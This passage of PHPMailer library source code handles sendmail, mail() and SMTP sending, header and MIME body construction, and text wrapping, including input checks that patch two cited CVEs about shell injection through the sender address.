http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 if (empty($this->Sender) && !empty(ini_get('sendmail_from'))) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { //allow sendmail to choose a default envelope sender. It may //seem preferable to force it to use the From header as with //SMTP, but that introduces new problems (see //), and //it has historically worked this way. $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr); $this->doCallback( ($result === 0), [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //Future-proof if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = file_exists($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see http://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (empty($this->Sender) && !empty(ini_get('sendmail_from'))) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr); $this->doCallback( $result, [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ($this->SMTPAutoTLS && $sslext && 'ssl' !== $secure && $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new Exception($this->lang('connect_host')); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception($this->lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * Returns false if it cannot load the language file. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * @param string $lang_path Path to the language file directory, with trailing separator (slash) * * @return bool */ public function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) { $langcode = 'en'; } $foundlang = true; $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; //There is no English translation file if ('en' !== $langcode) { //Make sure language file path is readable if (!static::fileIsAccessible($lang_file)) { $foundlang = false; } else { //Overwrite language-specific strings. //This way we'll never have missing translation keys. $foundlang = include $lang_file; } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; //Returns false if language not found } /** * Get the array of strings for the current language. * * @return array */ public function getTranslations() { return $this->language; } /** * Create recipient headers. * * @param string $type * @param array $addr An array of recipients, * where each recipient is a 2-element indexed array with element 0 containing an address * and element 1 containing a name, like: * [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']] * * @return string */ public function addrAppend($type, $addr) { $addresses = []; foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . static::$LE; } /** * Format an address for use in a message header. * * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like * ['joe@example.com', 'Joe User'] * * @return string */ public function addrFormat($addr) { if (empty($addr[1])) { //No name provided return $this->secureHeader($addr[0]); } return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>'; } /** * Word-wrap message. * For use with mailers that do not automatically perform wrapping * and for quoted-printable encoded messages. * Original written by philippe. * * @param string $message The message to wrap * @param int $length The line length to wrap to * @param bool $qp_mode Whether to run in Quoted-Printable mode * * @return string */ public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', static::$LE); } else { $soft_break = static::$LE; } //If utf-8 encoding is used, we will need to make sure we don't //split multibyte characters when we wrap $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); $lelen = strlen(static::$LE); $crlflen = strlen(static::$LE); $message = static::normalizeBreaks($message); //Remove a trailing line break if (substr($message, -$lelen) === static::$LE) { $message = substr($message, 0, -$lelen); } //Split message into lines $lines = explode(static::$LE, $message); //Message will be rebuilt in here $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode && (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', static::$LE); } else { $message .= $buf . $soft_break; } $buf = ''; } while ($word !== '') { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = (string) substr($word, $len); if ($word !== '') { $message .= $part . sprintf('=%s', static::$LE); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if ('' !== $buf_o && strlen($buf) > $length) { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . static::$LE; } return $message; } /** * Find the last character boundary prior to $maxLength in a utf-8 * quoted-printable encoded string. * Original written by Colin Brown. * * @param string $encodedText utf-8 QP text * @param int $maxLength Find the last character boundary prior to this length * * @return int */ public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { //Found start of encoded character byte within $lookBack block. //Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { //Single byte character. //If the encoded char was found at pos 0, it will fit //otherwise reduce maxLength to start of the encoded char if ($encodedCharPos > 0) { $maxLength -= $lookBack - $encodedCharPos; } $foundSplitPos = true; } elseif ($dec >= 192) { //First byte of a multi byte character //Reduce maxLength to split at start of character $maxLength -= $lookBack - $encodedCharPos; $foundSplitPos = true; } elseif ($dec < 192) { //Middle byte of a multi byte character, look further back $lookBack += 3; } } else { //No encoded character found $foundSplitPos = true; } } return $maxLength; } /** * Apply word wrapping to the message body. * Wraps the message body to the number of chars set in the WordWrap property. * You should only do this to plain-text bodies as wrapping HTML tags may break them. * This is called automatically by createBody(), so you don't need to call it yourself. */ public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } /** * Assemble message headers. * * @return string The assembled headers */ public function createHeader() { $result = ''; $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate); //The To header is created automatically by mail(), so needs to be omitted here if ('mail' !== $this->Mailer) { if ($this->SingleTo) { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } elseif (count($this->to) > 0) { $result .= $this->addrAppend('To', $this->to); } elseif (count($this->cc) === 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]); //sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } //sendmail and mail() extract Bcc from the header before sending if ( ( 'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer ) && count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } //mail() sets the subject itself if ('mail' !== $this->Mailer) { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 //https://tools.ietf.org/html/rfc5322#section-3.6.4 if ('' !== $this->MessageID && preg_match('/^<.*@.*>$/', $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine('Message-ID', $this->lastMessageID); if (null !== $this->Priority) { $result .= $this->headerLine('X-Priority', $this->Priority); } if ('' === $this->XMailer) { $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)' ); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine('X-Mailer', $myXmailer); } } if ('' !== $this->ConfirmReadingTo) { $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } //Add custom headers foreach ($this->CustomHeader as $header) { $result .= $this->headerLine( trim($header[0]), $this->encodeHeader(trim($header[1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } /** * Get the message MIME type headers. * * @return string */ public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; default: //Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $ismultipart = false; break; } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $this->Encoding) { //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if (static::ENCODING_8BIT === $this->Encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT); } //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } return $result; } /** * Returns the whole MIME message. * Includes complete headers and body. * Only valid post preSend(). * * @see PHPMailer::preSend() * * @return string */ public function getSentMIMEMessage() { return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) . static::$LE . static::$LE . $this->MIMEBody; } /** * Create a unique ID to use for boundaries. * * @return string */ protected function generateId() { $len = 32; //32 bytes = 256 bits $bytes = ''; if (function_exists('random_bytes')) { try { $bytes = random_bytes($len); } catch (\Exception $e) { //Do nothing } } elseif (function_exists('openssl_random_pseudo_bytes')) { /** @noinspection CryptographicallySecureRandomnessInspection */ $bytes = openssl_random_pseudo_bytes($len); } if ($bytes === '') { //We failed to produce a proper random string, so make do. //Use a hash to force the length to the same as the other methods $bytes = hash('sha256', uniqid((string) mt_rand(), true), true); } //We don't care about messing up base64 format here, just want a random string return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true))); } /** * Assemble the message body. * Returns an empty string on failure. * * @throws Exception * * @return string The assembled message body */ public function createBody() { $body = ''; //Create unique IDs and preset boundaries $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1_' . $this->uniqueid; $this->boundary[2] = 'b2_' . $this->uniqueid; $this->boundary[3] = 'b3_' . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . static::$LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) { $bodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $bodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the body part only if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) { $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $altBodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the alt body part only if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } //Use this as a preamble in all multipart message types $mimepre = 'This is a multi-part message in MIME format.' . static::$LE . static::$LE; switch ($this->message_type) { case 'inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= static::$LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); } $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types //Reset the `Encoding` property in case we changed it for line length reasons $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; if ($this->exceptions) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new Exception($this->lang('extension_missing') . 'openssl'); } $file = 